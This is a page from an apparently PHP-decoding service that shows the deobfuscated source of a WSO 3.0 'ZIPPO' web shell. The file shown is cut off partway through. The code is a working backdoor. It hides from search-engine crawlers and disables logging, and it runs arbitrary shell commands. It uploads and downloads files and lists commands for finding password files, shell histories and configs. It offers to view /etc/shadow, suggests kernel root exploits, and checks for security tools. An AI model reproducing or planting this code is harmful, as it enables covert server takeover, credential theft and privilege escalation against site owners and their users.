Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("\x2F\x2E\x2A\x2F\x65","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x..

Decoded Output download

?><?php
header('Content-type: text/html;charset=utf-8');
$auth_pass = "6085de58bab392562e59cadf077cfc37";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler,yahoo,bing,ask,baidu");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '3.0');

if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)){
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
	}
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)){
        wsoLogin();
	}
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
		"find writable folder in current dir" => "find . -perm -2 -type d -print",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " [_ZIPPO_] Shell " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
.sembunyi{ display:none; padding:0;margin:0; } 
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	
	function setu(a,c,p1,p2,p3,p4,p5,p6,p7,charset) {
		if(a != null)document.mf.a.value=a;
		if(c != null)document.mf.c.value=c;
		if(p1 != null)document.mf.p1.value=p1;
		if(p2 != null)document.mf.p2.value=p2;
		if(p3 != null)document.mf.p3.value=p3;
		if(p4 != null)document.mf.p4.value=p4;
		if(p5 != null)document.mf.p5.value=p5;
		if(p6 != null)document.mf.p6.value=p6;
		if(p7 != null)document.mf.p7.value=p7;
		if(charset != null)document.mf.charset.value=charset;
	}
	
	function u(a,c,p1,p2,p3,p4,p5,p6,p7,charset) {
		setu(a,c,p1,p2,p3,p4,p5,p6,p7,charset);
		var params = 'ajax=true';
		for(i=0;i<document.mf.elements.length;i++)
			params += \"&\"+document.mf.elements[i].name+\"=\"+encodeURIComponent(document.mf.elements[i].value);
		sr('".addslashes($_SERVER['REQUEST_URI'])."', params);
	}
	
	function g(a,c,p1,p2,p3,charset) {
		if(p1!=null && p1=='deleteajax'){ 
			if(confirm('Are you sure to delete this file?')){
				set(a,c,p1,p2,p3,charset);
			}else{
				set(a,c,null,p2,p3,charset);
			}
		}else{
			set(a,c,p1,p2,p3,charset); 
		}
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				//this line has been deleted, so do not use ajax
			} else alert('Request error!');
	}
	function tukar(l,b){
		if(document.getElementById(l)) document.getElementById(l).style.display = 'none';
		if(document.getElementById(b)) document.getElementById(b).style.display = 'block';
	}
	function getValue(id)
	{
	 var id;
	 var x=document.getElementById(id).value;
	 return x.value;
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=p4>
<input type=hidden name=p5>
<input type=hidden name=p6>
<input type=hidden name=p7>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
	$m = array('Sec. Info'=>'SecInfo','PS Table'=>'PsTable','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','S.Mode'=>'SafeMode', 'Logout'=>'Logout', 'Clone' => 'doClone');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	//$menu .= "<br>".showtool();
	
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function callocmd($ocmd,$owhich){
if(function_exists(exec)){$nval=exec($ocmd);}
elseif(!function_exists(exec)){$nval=passthru($ocmd);}
elseif(!function_exists(passthru)){$nval=shell_exec($ocmd);}
elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r');while (!feof($opop)){ $nval= fgetc($opop);}}
elseif(!function_exists(popen)){ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}
elseif(!function_exists(system)){ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();}
if($nval==$owhich){return "<font color=\"#00bb00\"><b>ON</b></font>";}else{return "<font color=\"#FF0000\"><b>OFF</b></font>";}
}

function showtool(){
	if (strstr(PHP_OS,"WIN")){
		return "<table style=\"font-size:10px;font-family:tahoma \" width=100%><tr><td><center><font color=white>[exec] [shell_exec] [popen] [system] [passthru] <font color=\"#FF0000\">disabled!</font></center></td></div></td></tr></table>";
	}else{
		$text[] = "<table style=\"font-size:10px;font-family:tahoma \" width=100%><tr><td>"; 
		$text[] = "<div align=center>"; $text[] = "<b>Mysql : </b>".callocmd('which mysql','/usr/bin/mysql'); 
		$text[] = "</td><td>"; 
		$text[] = "<b>Perl : </b>".callocmd('which perl',('/usr/bin/perl')||'/usr/local/bin/perl');
		$text[] = "</td><td>";
		$text[] = "<b>Gcc : </b>".callocmd('which gcc','/usr/bin/gcc');
		$text[] = "</td><td>"; 
		$text[] = "<b>Curl : </b>".callocmd('which curl','/usr/bin/curl');
		$text[] = "</td><td>";
		$text[] = "<b>GET : </b>".callocmd('which GET','/usr/bin/GET');
		$text[] = "</td><td>";
		$text[] = "<b>Wget : </b>".callocmd('which wget','/usr/bin/wget');
		$text[] = "</td><td>";
		$text[] = "<b>Lynx : </b>".callocmd('which lynx','/usr/bin/lynx');
		$text[] = "</td><td>";
		$text[] = "<b>Tar : </b>".callocmd('which tar','/bin/tar');
		$text[] = "</td><td>";
		$text[] = "<b>Unzip : </b>".callocmd('which unzip','/usr/bin/unzip');
		$text[] =  "</td></div></td></tr></table>";
		return implode("",$text);
	}
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style="border-top:2px solid #333;border-bottom:2px solid #333;">
	<tr>
		<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?php echo htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
	</tr>
	<tr>
		<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?php echo $is_writable?></td>
		<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
	</tr>
	<tr>
		<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMan'>
		<input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
		<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
	</tr>
	<tr>
		<td><form onsubmit="g('DownloadUrl',null,'download',this.target.value,this.targetname.value);return false;"><span>Download Remote File: [filename(optional)]</span><br><input size=30 type=text name=target> <input type=text size=10 name=targetname><input type=submit value=">>"></form><?php echo $is_writable?></td>
		<td><form onsubmit="g('FilesTools',null,this.pattern.value,'searchfile',null);return false;"><span>Search file on current dir: (pattern)</span><br><input class="toolsInp" type=text name=pattern><input type=submit value=">>"></form></td>
	</tr>
</table>
</body></html>
<?php
}

function actionDownloadUrl() {
	wsoHeader();
	echo '<h1>Download Remote Url</h1>';
	// File to download
	$remoteFile = $_POST['p2'];
	// Local file for saving
	if($_POST['p3']){
		$localFile = urlencode($_POST['p3']);
	}else{
		$localFile = substr($remoteFile,strrpos($remoteFile, "/")+1);
	}
	// Local directory for saving
	$localDir = $_POST['c'];
	if($_POST['p1'] == 'download' && $remoteFile && $localDir){
		$how = downloadRemoteFile($remoteFile,$localDir,$localFile);
		if($how){echo $how;}else{echo "<font color=\"#FF0000\">Download Failed!</font>";}
	}else{
		echo "<font color=\"#FF0000\">Please input the url target</font>";
	}
	wsoFooter();
}

function get_file1($file, $local_path, $newfilename)
{
    $err_msg = '';
    $out = fopen($local_path.$newfilename, 'wb');
    if ($out == FALSE){
      return "<font color=\"#FF0000\">File not opened</font><br>";
    }
   
    $ch = curl_init();
    echo "(curl) downloading : ".$file."<br>";
    curl_setopt($ch, CURLOPT_FILE, $out);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_URL, $file);
               
    curl_exec($ch);
	if(curl_error($ch)){
	    return "(curl) <font color=\"#FF0000\">cant get remote url</font>";
	}else{
		return "(curl) <font color=\"#00BB00\">done!</font>";
	}
    curl_close($ch);
}

function downloadRemoteFile($url,$dir,$file_name = NULL){
    if($file_name == NULL){ $file_name = basename($url);}
    $url_stuff = parse_url($url);
    $port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;
	
	if(!function_exists("fsockopen")){echo "(fsockopen) <font color=\"#FF0000\">fsockopen disabled!</font><br>";}else{echo "(fsockopen) downloading : ".$url."<br>";}
	
    $fp = fsockopen($url_stuff['host'], $port);
    $query  = 'GET ' . $url_stuff['path'] . " HTTP/1.0
";
    $query .= 'Host: ' . $url_stuff['host'];
    $query .= "

";
	
    if(!$fp)
		{ 
			if(!extension_loaded("curl")){die("(error) <font color=\"#FF0000\">fsockopen & curl_opt disabled!</font><br>unable to run");}else{echo "(fsockopen) fsockopen not working, using curl<br>";}
			$statuscurl = get_file1($url,$dir,$file_name);
			if($statuscurl){return $statuscurl;}
		}

    fwrite($fp, $query);

    while ($tmp = fread($fp, 8192))   {
        $buffer .= $tmp;
    }

    preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
    $file_binary = substr($buffer, - $parts[1]);
    if($file_name == NULL){
        $temp = explode(".",$url);
        $file_name = $temp[count($temp)-1];
    }
    $file_open = fopen($dir . "/" . $file_name,'w');
    if(!$file_open){ return false;}
    fwrite($file_open,$file_binary);
    fclose($file_open);
    return "(fsockopen) <font color=\"#00BB00\">done!</font>";
}  

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function wsoViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}


function wsoPermsColor($f) { 
	if (!is_readable($f))
		return '<font color=#FF0000><b>'.wsoPerms(@fileperms($f)).'</b></font>';
	elseif (!is_writable($f))
		return '<font color=white><b>'.wsoPerms(@fileperms($f)).'</b></font>';
	else
		return '<font color=#00BB00><b>'.wsoPerms(@fileperms($f)).'</b></font>';
}

function wsoScandir($dir) {
	if(substr($dir,strlen($dir)-1) == "/"){
	//show file include hidden
		$dh = glob($dir.'{,.}*', GLOB_BRACE);
	}else{
		$dir = $dir."/";
		$dh = glob($dir.'{,.}*', GLOB_BRACE);
	}
	foreach($dh as $d){
		$files[] = substr($d,strrpos($d,"/")+1);
	}
	if($files){
		return $files;
	}else{
		if(function_exists("scandir")) {
			return scandir($dir);
		} else {
			$dh  = opendir($dir);
			while (false !== ($filename = readdir($dh)))
				$files[] = $filename;
			return $files;
		}
	}
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function rootxpL(){
	$v=php_uname();
	$b = explode(" ",$v);$c = count($b);$d = $c - 2;$e = trim($b[$d]);
	$db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace');
	if($e < 2008){$vulncol="<font color=red><b>";$endvulncol="</b></font>";}
	foreach($db as $k=>$x)if(strstr($v,$k))return $vulncol.$x.$endvulncol;
	return 0;
}

function get_real_ip()
{
	if (isset($_SERVER["HTTP_CLIENT_IP"])){
		return $_SERVER["HTTP_CLIENT_IP"];
	}elseif (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
		return $_SERVER["HTTP_X_FORWARDED_FOR"];
	}elseif (isset($_SERVER["HTTP_X_FORWARDED"])){
		return $_SERVER["HTTP_X_FORWARDED"];
	}elseif (isset($_SERVER["HTTP_FORWARDED_FOR"])){
		return $_SERVER["HTTP_FORWARDED_FOR"];
	}elseif (isset($_SERVER["HTTP_FORWARDED"])){
		return $_SERVER["HTTP_FORWARDED"];
	}else{
		return $_SERVER["REMOTE_ADDR"];
	}
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}
	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	$cuser=get_current_user();if(!$cuser)$cuser='Unknown';
	wsoSecParam('Username', $cuser);
	$huid=getmyuid();$hgid=getmygid();
	wsoSecParam('UID - GID', $huid.' - '.$hgid);
	$hxpl=rootxpL();if(!$hxpl)$hxpl='Not found.';
	wsoSecParam('Local Root Exploits', $hxpl);
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
